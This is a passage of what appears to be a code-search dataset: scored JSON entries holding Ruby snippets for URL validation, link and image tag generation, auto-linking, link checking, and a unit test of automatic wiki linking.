"text": "def valid_url\n slash = Regexp.escape('//')\n\n regex = /\\Ahttps:#{Regexp.escape('//')}/\n\n unless long_url =~ /\\Ahttps:#{Regexp.escape('//')}/ || long_url =~ /\\Ahttp:#{Regexp.escape('//')}/\n errors.add(:long_url, \"No ingresaste una URL\")\n end\n end",
"title": ""
},
{
"docid": "a1016b912fd5c67ea0e6edb5db6642c7",
"score": "0.54345214",
"text": "def absolute_link_for(page, text, link_type)\n if page =~ /(^|\\/)([^\\/]*)((\\.png)|(\\.jpg)|(\\.jpeg)|(\\.gif))$/ and link_type.blank?\n \"<img src=\\\"#{page}\\\" alt=\\\"#{$2}#{$3}\\\" />\"\n else\n \"<a href=\\\"#{page}\\\">#{text}</a>\"\n end\n end",
"title": ""
},
{
"docid": "452bac6198d1767518a76a9629389b1b",
"score": "0.5429515",
"text": "def invalidUrl=(_arg0); end",
"title": ""
},
{
"docid": "5c76529df3f97e996d5e4a0ea0a5cc2c",
"score": "0.5423577",
"text": "def verify_link href \n return !href.nil? && (\n href.starts_with? 'americanexpress.com/us/small-business/openforum' ||\n href[0] == '/'\n )\nend",
"title": ""
},
{
"docid": "8460cad65570f7e6917a6fbd98b69070",
"score": "0.5419298",
"text": "def check_resource_url(url)\n require 'uri'\n raise \"Oops :( Invalid resource URL.\" unless url =~ URI::regexp\n end",
"title": ""
},
{
"docid": "75d98385a46344f4b1eb0de2020a92c2",
"score": "0.5415405",
"text": "def process_link_directive(path); end",
"title": ""
},
{
"docid": "75d98385a46344f4b1eb0de2020a92c2",
"score": "0.5415405",
"text": "def process_link_directive(path); end",
"title": ""
},
{
"docid": "53a5910b831cbd563d2135e80ee72480",
"score": "0.5403468",
"text": "def url_must_be_valid\n # Return if no URL is given - the presence validator handles\n # these cases.\n return if url.nil? || correctly_formatted? || url_reachable?\n\n errors.add(:url, \"must be reachable or of the right format\")\n end",
"title": ""
},
{
"docid": "ed82e7cfbea012db68adbb37498087d0",
"score": "0.5401224",
"text": "def link_to_rsrc rsrc, options={}\n return '' unless rsrc\n case rsrc\n when ActiveRecord::Base then dest = rsrc ; text = rsrc.titleize\n when Class then dest = url_for(rsrc.to_s.tableize) ; text = rsrc.to_s.titleize.pluralize\n when Symbol then dest = rsrc ; text = rsrc.to_s.titleize.pluralize\n when Array then dest = rsrc ; text = rsrc.last.titleize\n else dest = rsrc\n end\n link_to(text, dest, options)\n end",
"title": ""
},
{
"docid": "0b22dad44b6732144c9dc683ce7de391",
"score": "0.53956074",
"text": "def link_type?\n link_to.present?\n end",
"title": ""
},
{
"docid": "f1c32ebc543d1f5d0f5e76b5f7aaf131",
"score": "0.5394544",
"text": "def validate_links(translation, from, seen)\n if translation.kind_of?(Array)\n translation.each_with_index do |i, part|\n validate_links(part, from + [i], seen)\n end\n elsif translation.kind_of?(Hash)\n translation.each { |key, part| validate_links(part, from + [key], seen) }\n elsif translation.kind_of?(String) # includes safe_html\n validate_links_in_string(translation.to_s, from, seen)\n end\nend",
"title": ""
},
{
"docid": "8ef5c3038bbffa76052be56b32dd4193",
"score": "0.53773147",
"text": "def gen_url(url, text)\n if url =~ /([A-Za-z]+):(.*)/ then\n type = $1\n path = $2\n else\n type = \"http\"\n path = url\n url = \"http://#{url}\"\n end\n\n if type == \"link\" then\n url = if path[0, 1] == '#' then # is this meaningful?\n path\n else\n self.class.gen_relative_url @from_path, path\n end\n end\n\n if (type == \"http\" or type == \"link\") and\n url =~ /\\.(gif|png|jpg|jpeg|bmp)$/ then\n \"<img src=\\\"#{url}\\\" />\"\n else\n \"<a href=\\\"#{url}\\\">#{text.sub(%r{^#{type}:/*}, '')}</a>\"\n end\n end",
"title": ""
},
{
"docid": "2f2a6f4d9185d3a710fdc0b3165106b4",
"score": "0.53686357",
"text": "def get_hyperlink\n unless cfr_location_type_id.nil? || uri.blank? \n /\\A(https?|file|ftp):\\/\\//i =~ uri ? uri : \"file://#{ uri }\"\n end\n end",
"title": ""
},
{
"docid": "41c4cf4f567ad97de374f5530a13e57c",
"score": "0.53683496",
"text": "def is_valid_link link\n unless Nokogiri::HTML.parse link\n return false\n end\n if (link !~ /<a\\b[^>]*>(.*?)<\\/a>/i)\n return false\n end\n return true\n end",
"title": ""
},
{
"docid": "797ecc4d4e7c40d66cacef36d3e8f347",
"score": "0.5362672",
"text": "def create_external(attributes)\n link = attributes[:link]\n raise 'link is blank' if link.blank?\n link = link.truncate(NewsEntry::Limits::LINK)\n attributes[:link_hashcode] = link_hashcode(link)\n attributes[:link] = sanitize(link)\n attrs = attributes.merge(news_type: NewsEntry::Types::EXTERNAL)\n create(attrs)\n end",
"title": ""
},
{
"docid": "065c9ebdeeccce35429b1ba73bb36825",
"score": "0.53619194",
"text": "def handle_special_HYPERLINK(special)\n url = special.text\n gen_url(url, url)\n end",
"title": ""
},
{
"docid": "4fa7ee7a1a78f967b2b5b389d97b596b",
"score": "0.5361678",
"text": "def check_resource href, check_anchor=true\n # distinguish local files and other\n if /^[a-z]+:/.match href\n url = /^([^:]+):\\/\\/([^\\/:]*)(?::([0-9]+))?(.*)$/.match href\n if url && 'http' == url[1]\n # cached http head resquests\n response = @HttpHead[href]\n if response.nil?\n begin\n http = Net::HTTP.new(url[2], url[3].nil?? 80 : url[3].to_i)\n path = url[4]\n path = '/' if path.nil? || path == ''\n @HttpHead[href] = response = http.head(path, nil )\n rescue ArgumentError => e\n raise \"Http Head : #{e.message}: #{href}\"\n end\n end\n raise \"Http #{response.code} : #{href}\" if '200' != response.code\n end\n else\n m = /([^#]+)(?:#(\\S+))?/.match href\n if !check_anchor || m[2].nil?\n begin\n stat = File.stat(m[1])\n raise \"File 404 : #{href}\" if !stat.file?\n rescue Errno::ENOENT => e\n raise \"File 404 : #{href}\"\n end\n else\n ids = findIdNodes m[1], m[2]\n raise \"Missing id : #{href}\" if ids.length == 0\n raise \"Multiple ids: #{href}\" if ids.length > 1 \n end\n end \n return true\n end",
"title": ""
},
{
"docid": "3fe4ca69b5839fa9e6692631b44dabf8",
"score": "0.5358336",
"text": "def guard_link(resource, fallback = '')\n if resource\n yield\n else\n fallback\n end\n end",
"title": ""
},
{
"docid": "be4a82eed676d4254ed8871909ee527f",
"score": "0.5357299",
"text": "def type\n assert_exists\n return \"link\"\n end",
"title": ""
},
{
"docid": "55d93b0c15fd5ddaafd2168e128eb959",
"score": "0.5336169",
"text": "def render_external_links(args)\n document = args[:document]\n field_name = args[:field]\n begin\n url_presenter = UrlPresenter.new(document, field_name)\n links = url_presenter.urls.collect do |url|\n link_to(url.text, url.value, {target: '_blank'})\n end\n links.join(field_value_separator).html_safe\n rescue ArgumentError => e\n nil\n end\n end",
"title": ""
},
{
"docid": "ba8ce292d0b433bc5078e32ae5561191",
"score": "0.533471",
"text": "def auto_link!(text)\n text.gsub!(AUTO_LINK_RE) do\n all, leading, proto, url, post = $&, $1, $2, $3, $6\n if /<a\\s/i.match?(leading) || /![<>=]?/.match?(leading)\n # don't replace URLs that are already linked\n # and URLs prefixed with ! !> !< != (textile images)\n all\n else\n # Idea below : an URL with unbalanced parenthesis and\n # ending by ')' is put into external parenthesis\n if url[-1] == \")\" && ((url.count(\"(\") - url.count(\")\")) < 0)\n url = url[0..-2] # discard closing parenthesis from url\n post = \")\" + post # add closing parenthesis to post\n end\n content = proto + url\n href = \"#{proto==\"www.\"?\"http://www.\":proto}#{url}\"\n %(#{leading}<a class=\"external\" href=\"#{ERB::Util.html_escape href}\">#{ERB::Util.html_escape content}</a>#{post}).html_safe\n end\n end\n end",
"title": ""
},
{
"docid": "2b350cb1204bdd2f5262bc0459b80967",
"score": "0.53287464",
"text": "def invalid_url=(_arg0); end",
"title": ""
},
{
"docid": "5b5793ab3402801232b6fe0d9af4ce72",
"score": "0.5327498",
"text": "def external_link(url)\n if url =~ URI::regexp\n return link_to url, url\n else\n return url\n end\n end",
"title": ""
},
{
"docid": "d4df3be44c2ecd92767ed546a6ff266d",
"score": "0.5327494",
"text": "def test_link_tag_with_straight_url\n assert_equal \"<a href=\\\"http://www.world.com\\\">Hello</a>\", link_to(\"Hello\", \"http://www.world.com\")\n end",
"title": ""
},
{
"docid": "c5864355825ab87a0bd9749130e121fa",
"score": "0.53233296",
"text": "def has_link?(locator = T.unsafe(nil), **options, &optional_filter_block); end",
"title": ""
},
{
"docid": "fea33128071275c665aa911203c16f99",
"score": "0.5323179",
"text": "def link() url; end",
"title": ""
},
{
"docid": "df1329aafd3ac6095903866eb3ec9128",
"score": "0.5316836",
"text": "def auto_link!(text)\n text.gsub!(AUTO_LINK_RE) do\n all, leading, proto, url, post = $&, $1, $2, $3, $6\n if leading =~ /<a\\s/i || leading =~ /![<>=]?/\n # don't replace URL's that are already linked\n # and URL's prefixed with ! !> !< != (textile images)\n all\n else\n # Idea below : an URL with unbalanced parethesis and\n # ending by ')' is put into external parenthesis\n if ( url[-1]==?) and ((url.count(\"(\") - url.count(\")\")) < 0 ) )\n url=url[0..-2] # discard closing parenth from url\n post = \")\"+post # add closing parenth to post\n end\n content = proto + url\n href = \"#{proto==\"www.\"?\"http://www.\":proto}#{url}\"\n %(#{leading}<a class=\"external\" href=\"#{ERB::Util.html_escape href}\">#{ERB::Util.html_escape content}</a>#{post}).html_safe\n end\n end\n end",
"title": ""
},
{
"docid": "057fed6a948b80726789e73ac4ac7ded",
"score": "0.53159505",
"text": "def string_with_link(str, link_url, link_options = {})\n match = str.match(/__([^_]{2,30})__/)\n if !match.blank?\n raw($` + link_to($1, link_url, link_options) + $')\n else\n raise \"string_with_link: No place for __link__ given in #{str}\" if Rails.env.test?\n nil\n end\n end",
"title": ""
},
{
"docid": "3bcad4201e3f94577199453c5d504eeb",
"score": "0.5310997",
"text": "def verify_link(options ={})\n return File.file?(options[:name])\n end",
"title": ""
},
{
"docid": "3fb8469ce5a1c2390cf5c630c1157b4d",
"score": "0.52987707",
"text": "def valid_url(url, path=nil)\n path ||= \"\"\n if validate_link(path) && good = test_link(path) # either the original URL or a replacement are good\n return (good.class == String) ? good : path\n elsif url\n # The path may be relative. In fact, it may have backup characters\n begin\n uri = URI.join( url, path ).to_s\n return validate_link(uri) && uri\n rescue Exception => e\n return nil\n end\n end\nend",
"title": ""
},
{
"docid": "c84d57932c4e38095d2e2197a0cb3524",
"score": "0.52956265",
"text": "def direct_reference?\n !url.nil?\n end",
"title": ""
},
{
"docid": "b8bc7197282e10aac4011ad67d63eb14",
"score": "0.5291792",
"text": "def link_to_edit(args)\n # checks the value of the 'rendered as'\n ra = args[:ra]\n # checks the value of the 'product_spec'\n ps = args[:ps]\n # checks the value of the 'template'\n t = args[:t]\n # checks the value of the HTML output\n v = args[:v]\n\n if ra == 'html'\n \"<a class='template-link' href='#{edit_product_spec_path(ps, :template =>t)}'>#{v}</a>\"\n else\n v\n end\n end",
"title": ""
},
{
"docid": "8fad7bdcd0fb2ff424fe4a073c50708c",
"score": "0.5289653",
"text": "def link?; end",
"title": ""
},
{
"docid": "8fad7bdcd0fb2ff424fe4a073c50708c",
"score": "0.5289653",
"text": "def link?; end",
"title": ""
},
{
"docid": "8fad7bdcd0fb2ff424fe4a073c50708c",
"score": "0.5289653",
"text": "def link?; end",
"title": ""
},
{
"docid": "b32229523a340714b40bcd798a4790c5",
"score": "0.5288424",
"text": "def validate_input_url\n render(status: :bad_request, json: { message: t('api.tiny_urls.invalid_url') }) && return unless tiny_url_params[:full_url] =~ URI.regexp\n end",
"title": ""
},
{
"docid": "c2cc173a8ef37dac00019048249bfbd4",
"score": "0.5283618",
"text": "def file_xor_url\n unless external_url.blank? ^ file.blank?\n errors[:base] << \"Choose a file or a link but not both.\"\n end\n end",
"title": ""
},
{
"docid": "86da7e02c864623df3d8e244c3c315b0",
"score": "0.52828676",
"text": "def service_external_link(identity_feed, link_css = nil, wrapper = nil)\n path = identity_feed.feed.display_uri || identity_feed.feed.uri\n link_text = identity_feed.feed.title unless identity_feed.feed.title.blank?\n service_link(path, identity_feed.feed.service, link_css, wrapper, link_text, 'blank')\n end",
"title": ""
},
{
"docid": "b8628c34fdead5d0cc5b18703203dcd8",
"score": "0.527471",
"text": "def provider_valid\n p = get_provider_without_overlay\n if /\\Ahttps?:\\/\\/(\\{[s]\\})?[\\/\\w\\.\\-\\?\\+\\*_\\|~:\\[\\]@#!\\$'\\(\\),=&]*\\{[zxy]\\}\\/\\{[zxy]\\}\\/\\{[zxy]\\}[\\/\\w\\.\\-\\?\\+\\*_\\|~:\\[\\]@#!\\$'\\(\\),=&]*(jpg|png)([\\/\\w\\.\\-\\?\\+\\*_\\|~:\\[\\]@#!\\$'\\(\\),=&]*)?\\z/i !~ p\n errors.add(:provider, \"Invalid URL template\")\n end\n end",
"title": ""
},
{
"docid": "c4adc10a413be985413958689f579123",
"score": "0.52745914",
"text": "def good_permalink\n return @good_permalink unless @good_permalink.nil?\n \n permalink = 'overview'\n filepath = Doculab::Doc.directory.join(\"#{permalink}.textile\")\n \n if File.exist?(filepath)\n @good_permalink = permalink\n else\n raise StandardError, \"The permalink '#{permalink}' does not correspond to a file at #{filepath}\"\n end\nend",
"title": ""
},
{
"docid": "b5196664f3b85889c9776665a346f1dd",
"score": "0.5267545",
"text": "def make_link(*args,relative: true,cur_url: WEBPRO, **kwds)\n\t\t\tmsg=args.first\n\t\t\tif Hash===msg\n\t\t\t\tbegin\n\t\t\t\t\tif msg.key?(:url)\n\t\t\t\t\t\tif msg.key?(:name)\n\t\t\t\t\t\t\treturn make_link(msg[:name],msg[:url],**kwds)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\treturn make_link(msg[:url],**kwds)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\treturn msg[:name]\n\t\t\t\t\tend\n\t\t\t\trescue Exception => e\n\t\t\t\t\twarn \"#{msg.to_s} does not correspond to an url: #{e.to_s}\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\touttype=kwds[:outtype]\n\t\t\t\tname=localize(args.shift,**kwds)\n\t\t\t\turl=args.shift || name\n\t\t\t\tcase outtype\n\t\t\t\twhen :tex\n\t\t\t\t\turl=Biblio.tex_quote(url)\n\t\t\t\t\tif name == url\n\t\t\t\t\t\treturn \"\\\\url{#{url}}\"\n\t\t\t\t\telse\n\t\t\t\t\t\treturn \"\\\\href{#{url}}{#{name}}\"\n\t\t\t\t\tend\n\t\t\t\twhen :texsee\n\t\t\t\t\tif name == url\n\t\t\t\t\t\treturn \"\\\\voirseelink{#{args[0]}}\"\n\t\t\t\t\telse\n\t\t\t\t\t\treturn \"\\\\voirseelink[#{args[0]}]{#{args[1]}}\"\n\t\t\t\t\tend\n\t\t\t\twhen :web\n\t\t\t\t\tif relative and url =~ /^#{cur_url}/ and not url =~ /^#{cur_url}$/\n\t\t\t\t\t\turl=url.sub(/^#{cur_url}/,'')\n\t\t\t\t\t\turl=relative_link(url,kwds[:cur_folder])\n\t\t\t\t\tend\n\t\t\t\t\tif name == url\n\t\t\t\t\t\treturn \"<#{name}>\"\n\t\t\t\t\telse\n\t\t\t\t\t\treturn \"[#{name}](#{url})\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "6fc3f9567927a1a2eac4fe3512ab5b30",
"score": "0.52664846",
"text": "def external_link(url)\n link_to url, external_url(url)\n end",
"title": ""
},
{
"docid": "9f976c107843d4f9d0dcbe3b62f4f063",
"score": "0.5264129",
"text": "def is_link?(object)\n !object.href.nil?\n end",
"title": ""
},
{
"docid": "edcc9fe74ca231702aaa295d9b10a079",
"score": "0.5257076",
"text": "def external?(uri)\n link = uri.to_s.downcase.strip\n matches_internal = !@internal_patterns.select{|pattern| link.match(pattern)}.empty?\n matches_external = !@external_patterns.select{|pattern| link.match(pattern)}.empty?\n puts \"LINK=> #{link.to_s} MATCH_INT=>#{matches_internal} MATCH_EXT=>#{matches_external}\"\n return (matches_external || !matches_internal)\n end",
"title": ""
},
{
"docid": "309a947b9fd6afc73da9761f5ef42b1e",
"score": "0.5254475",
"text": "def cannot_specified_invalid_url\n errors.add(:url, :invalid) if init_feed.blank?\n end",
"title": ""
},
{
"docid": "2f8cdfb9d9856be7e0868a31aa37d325",
"score": "0.52526104",
"text": "def custom_asset_template_url(path)\n link = \"http://localhost:3000/templates/#{path}\"\n return link\n end",
"title": ""
},
{
"docid": "490f0c1c925c18c47459a9a9258d35b4",
"score": "0.5248773",
"text": "def external?(link)\n if @options[:debug]\n puts \"--------------------------------\"\n puts \"Link: #{link}\"\n puts \"Internal matches\"\n ap @internal_patterns.select{|pattern| link.match(pattern)}\n puts \"External matches\"\n ap @external_patterns.select{|pattern| link.match(pattern)}\n end\n @internal_patterns.select{|pattern| link.match(pattern)}.empty? || !@external_patterns.select{|pattern| link.match(pattern)}.empty?\n end",
"title": ""
},
{
"docid": "38866e0b54a2226adfd691a44bcd7ca4",
"score": "0.52470076",
"text": "def url_link(text, url)\n \"<#{url}|#{text}>\"\n end",
"title": ""
},
{
"docid": "89351eeb2c080e9b61e3468df305b4c9",
"score": "0.524633",
"text": "def format_hint_external_links(html)\n html.gsub(/href=\"http/i, 'target=\"_blank\" href=\"http').html_safe\n end",
"title": ""
},
{
"docid": "e953faffd5d893b97804d57b1e446358",
"score": "0.5241791",
"text": "def link_to_if_can( url, text = url, opts = {} )\n link_to( url, text, opts ) if can?( url )\nend",
"title": ""
},
{
"docid": "7ae489fe3c6116676d7f5ced21326e50",
"score": "0.5239286",
"text": "def href_link(url)\n \"<a href='#{url}' rel='external'>#{url}</a>\".html_safe\n end",
"title": ""
},
{
"docid": "b691dcb3c2026fddeee3844e37ff5bd3",
"score": "0.523917",
"text": "def validate_link(current_url, link)\n begin\n valid_link = URI.join(current_url, URI.encode(link))\n valid_link.fragment = nil # Remove fragment!!\n\n # Add WWW? when valid_link is not localhost and www is missing (trd = nil)\n if valid_link.host != 'localhost'\n if PublicSuffix.parse(valid_link.host).trd == nil\n valid_link.host = 'www.' + valid_link.host\n end\n end\n rescue\n puts \"\\tERROR: \".red << current_url.to_s << \" - \" << link.to_s << \"\\n\"\n return false\n end\n\n return valid_link\n end",
"title": ""
},
{
"docid": "08df974966f9d5714ed12724fae92321",
"score": "0.5237897",
"text": "def process_file_link_tag(tag)\n parts = tag.split('|')\n return if parts.size.zero?\n\n name = parts[0].strip\n path = parts[1] && parts[1].strip\n path = (path =~ %r{^https?://}) ? path : nil\n\n (name && path) ? %{<a href=\"#{path}\">#{name}</a>} : nil\n end",
"title": ""
},
{
"docid": "4bed0c3634f80166d0e4cfc2bed9aeec",
"score": "0.5237307",
"text": "def convert_link(link)\n link||=\"\" # remove nil\n link.strip!\n url=''\n if !link.empty? # if not empty string\n title=link\n url=link.downcase\n if url.start_with?(\"http\") || url.start_with?(\"www\")\n # if HTTP/HTTPS/ external link, leave it alone unless it is a pic\n \n else # normal internal link ie [[about]]\n # Fix URL\n url=\"/\"+url if url[0]!='/' #always prepend \"/\" to internal links\n # remove \"!blog\", replace space with \"-\"\n url = url.gsub(BLOG_TAG,\"\").gsub(\" \",\"-\").strip\n\n title=deslugify(title)\n \n end\n link=\"[#{title}](#{url})\" # form a markdown link\n\n # image file\n link=\"!\"+link if url_is_image?(url)\n\n # debug \"link #{link}\"\n \n end\n link\nend",
"title": ""
},
{
"docid": "4f6811e23e9516ed0bccea99dc48e16f",
"score": "0.52162135",
"text": "def link(value)\n apply_uri_template @link_template, property => safe_parameterize(value)\n end",
"title": ""
},
{
"docid": "0a8a3b8a0e41258eeb038c40144b2d4f",
"score": "0.5215033",
"text": "def validate_potential_action_url_template(invalid_keys_list)\n url_template_regex = /^([^\\x00-\\x20\\x7f\"'%<>\\\\^`{|}]|%[0-9A-Fa-f]{2}|{[+#.\\/;?&=,!@|]?((\\w|%[0-9A-Fa-f]{2})(\\.?(\\w|%[0-9A-Fa-f]{2}))*(:[1-9]\\d{0,3}|\\*)?)(,((\\w|%[0-9A-Fa-f]{2})(\\.?(\\w|%[0-9A-Fa-f]{2}))*(:[1-9]\\d{0,3}|\\*)?))*})*$/m\n url_template = nil\n if object.key?('PotentialAction') && object['PotentialAction'].key?('Target')\n url_template = object['PotentialAction']['Target']['UrlTemplate']\n end\n if url_template && ! url_template.match(Regexp.new(url_template_regex))\n invalid_keys_list << 'PotentialAction/Target/UrlTemplate'\n end\n end",
"title": ""
},
{
"docid": "4a820988315767bc945018144f136bfa",
"score": "0.5213153",
"text": "def check_custom_link?\n return false unless @record.fulltext_links.present?\n @record.fulltext_links.each do |ftl|\n if relevant_fulltext_link?(ftl)\n @sfx_link = ftl[:url]\n end\n end\n @sfx_link\n end",
"title": ""
},
{
"docid": "d8320322acf60d76066b42cb4bd613d8",
"score": "0.5206688",
"text": "def create_link(resource_name)\n ChefSpec::Matchers::ResourceMatcher.new(:link, :create, resource_name)\n end",
"title": ""
},
{
"docid": "df591720952f922dce41fec6297519d3",
"score": "0.5206119",
"text": "def test_link\n assert_instance_of(Link, Parsing::LineMatcher.match('[1]: https://en.wikipedia.org/wiki/Hobbit#Lifestyle', ''))\n assert_instance_of(Link, Parsing::LineMatcher.match('[1]: https://en.wikipedia.org/wiki/Hobbit#Lifestyle \"Hobbit lifestyles\"', ''))\n assert_instance_of(Link, Parsing::LineMatcher.match(\"[1]: https://en.wikipedia.org/wiki/Hobbit#Lifestyle 'Hobbit lifestyles'\", ''))\n assert_instance_of(Link, Parsing::LineMatcher.match('[1]: https://en.wikipedia.org/wiki/Hobbit#Lifestyle (Hobbit lifestyles)', ''))\n assert_instance_of(Link, Parsing::LineMatcher.match('[1]: <https://en.wikipedia.org/wiki/Hobbit#Lifestyle> \"Hobbit lifestyles\"', ''))\n assert_instance_of(Link, Parsing::LineMatcher.match(\"[1]: <https://en.wikipedia.org/wiki/Hobbit#Lifestyle> 'Hobbit lifestyles'\", ''))\n assert_instance_of(Link, Parsing::LineMatcher.match('[1]: <https://en.wikipedia.org/wiki/Hobbit#Lifestyle> (Hobbit lifestyles)', ''))\n end",
"title": ""
},
{
"docid": "c93395344a58d8b8a710446728590bb3",
"score": "0.519129",
"text": "def validate_manual_url()\n if !self.manual_url.blank?\n require 'uri'\n begin\n uri = URI.parse( self.manual_url )\n if ! uri.absolute?\n errors.add( :manual_url, I18n.t(:invalid_no_scheme))\n elsif ! uri.hierarchical?\n errors.add( :manual_url, I18n.t(:invalid_not_hierarchical))\n elsif !( uri.is_a?( URI::HTTP ) || uri.is_a?( URI::HTTPS ) )\n errors.add( :manual_url, I18n.t(:invalid_no_http_scheme))\n end\n rescue URI::InvalidURIError\n errors.add( :manual_url, I18n.t(:invalid))\n end\n end\n end",
"title": ""
},
{
"docid": "3ebdffcb882ed46389656b76ea0261f7",
"score": "0.51902276",
"text": "def test_2\n entry = FEED.entries[2]\n\n # both links should be available, but it's up to you to choose which one to use \n\n assert_link_href(entry, \"http://www.snellspace.com/public/alternate\") { |l| l[\"rel\"] == \"alternate\" and l[\"type\"] == nil }\n\n assert_link_href(entry, \"http://www.snellspace.com/public/alternate2\") { |l| l[\"rel\"] == \"alternate\" and l[\"type\"] == \"text/plain\" }\n end",
"title": ""
},
{
"docid": "e496c822145e220358072a3c7f13ebf8",
"score": "0.5188604",
"text": "def validate_url\n url = self.long_url\n unless url.start_with?('http://', 'https://') && (url =~ /\\A#{URI::regexp}\\z/) == 0\n # NO ES CORRECTA\n errors.add(:url, 'Tu URL no es valida')\n end\n\n end",
"title": ""
},
{
"docid": "883e237ae902a167ee1c5f502c5c5a8b",
"score": "0.5186651",
"text": "def validate_publication publication\n validate_common publication\n\n if form_template.eql?('article-ref')\n validate_article_ref publication\n end\n end",
"title": ""
},
{
"docid": "c9cc4098e2fb77f7f8a6412a39bf1689",
"score": "0.5185608",
"text": "def link_url(url, title = T.unsafe(nil), params = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "c9cc4098e2fb77f7f8a6412a39bf1689",
"score": "0.5185608",
"text": "def link_url(url, title = T.unsafe(nil), params = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "f705e9a44a0eb4d59cb93f73ac2fbc51",
"score": "0.5183918",
"text": "def handle_special_TIDYLINK(special)\n text = special.text\n unless text =~ /\\{(.*?)\\}\\[(.*?)\\]/ or text =~ /(\\S+)\\[(.*?)\\]/ \n return text\n end\n label = $1\n url = $2\n gen_url(url, label)\n end",
"title": ""
},
{
"docid": "46687ccdd3da8be939a456d2182f6f8d",
"score": "0.51831967",
"text": "def new_headword_link(parse, is_wanted = false)\n count = parse.respond_to?(:count_all) ? parse.count_all : parse.count\n no_entry = t('lexeme.no_entry_linktext', headword: html_escape(parse.parsed_form), count:)\n\n link_to(format(HW_LINK, (' wanted' if is_wanted), no_entry).html_safe,\n exact_lexeme_path(headword: parse.parsed_form))\n end",
"title": ""
},
{
"docid": "a70c2ecaa8a58adfedcd97ff15649f59",
"score": "0.51814854",
"text": "def test_links_automatic()\n verbose_old = $VERBOSE\n $VERBOSE = false\n create_file( '/tmp/foo.asc' )\n create_file( '/tmp/bar.asc' )\n create_file( '/tmp/foo-bar.asc' )\n create_file( '/tmp/bar-foo-bar.asc' )\n create_file( '/tmp/compiled-website-test-file.asc' )\n #\n # Simple match\n string = <<-heredoc.unindent\n foo\n heredoc\n expected = <<-heredoc.unindent\n <a href=\"foo.html\">foo</a>\n heredoc\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n # Case-insensitive match.\n string = <<-heredoc.unindent\n Foo\n heredoc\n expected = <<-heredoc.unindent\n <a href=\"foo.html\">Foo</a>\n heredoc\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n # Only link the first word.\n string = <<-heredoc.unindent\n foo foo\n heredoc\n expected = <<-heredoc.unindent\n <a href=\"foo.html\">foo</a> foo\n heredoc\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\nskip \"ungh, my philosophy is wrong for not_in_html(), I need another wrapper to only intelligently do that *per-line* or some sort of block_not_in_html()\"\n #\n # Only link the first word.\n string = <<-heredoc.unindent\n foo <a href=\"a\">a</a> foo\n heredoc\n expected = <<-heredoc.unindent\n <a href=\"foo.html\">foo</a> <a href=\"a\">a</a> foo\n heredoc\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n #\n string = <<-heredoc.unindent\n bar\n heredoc\n expected = <<-heredoc.unindent\n <a href=\"bar.html\">bar</a>\n heredoc\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n # Links two words, and don't link single words.\n string = <<-heredoc.unindent\n foo bar\n heredoc\n expected = <<-heredoc.unindent\n <a href=\"foo-bar.html\">foo bar</a>\n heredoc\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n # Multi-word matches\n string = <<-heredoc.unindent\n compiled website test file\n heredoc\n expected = <<-heredoc.unindent\n <a href=\"compiled-website-test-file.html\">compiled website test file</a>\n heredoc\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n # Multi-word matches, where there are dashes.\n string = <<-heredoc.unindent\n compiled-website test file\n heredoc\n expected = <<-heredoc.unindent\n <a href=\"compiled-website-test-file.html\">compiled-website test file</a>\n heredoc\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n # Working with single words then removing them as possibilities.\n string = <<-heredoc.unindent\n foo\n bar foo bar\n heredoc\n expected = <<-heredoc.unindent\n <a href=\"foo.html\">foo</a>\n <a href=\"bar.html\">bar</a> <a href=\"foo-bar.html\">foo bar</a>\n heredoc\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n # Allow matching within punctuation and specific endings\n string = <<-heredoc.unindent\n fooed\n heredoc\n expected = <<-heredoc.unindent\n <a href=\"foo.html\">foo</a>ed\n heredoc\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n # Match, ignoring dashes in the source text.\n string = <<-heredoc.unindent\n compiled-website test file\n heredoc\n expected = <<-heredoc.unindent\n <a href=\"compiled-website-test-file.html\">compiled-website test file</a>\n heredoc\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n # Don't link the current document's name.\n string = <<-heredoc.unindent\n foo\n heredoc\n expected = <<-heredoc.unindent\n foo\n heredoc\n source_file_full_path = '/tmp/foo.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n # Prioritizing two words before single words.\n string = <<-heredoc.unindent\n foo bar foo bar\n heredoc\n expected = <<-heredoc.unindent\n <a href=\"foo-bar.html\">foo bar</a> <a href=\"foo.html\">foo</a> <a href=\"bar.html\">bar</a>\n heredoc\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n # Multiple separate matches.\n string = <<-heredoc.unindent\n bar foo\n heredoc\n expected = <<-heredoc.unindent\n <a href=\"bar.html\">bar</a> <a href=\"foo.html\">foo</a>\n heredoc\n source_file_full_path = '/tmp/something.asc'\n result = @o.links_automatic( string, source_file_full_path )\n assert_equal( expected, result )\n #\n # Maybe I can still have improved matching without being too slow. I don't want to match the 'pre' in 'preview' and so I could still require at least a small subset of punctuation can't i? Investigate.\n string = <<-heredoc.unindent\n abcfoodef\n heredoc\n expected = <<-heredoc.unindent\n 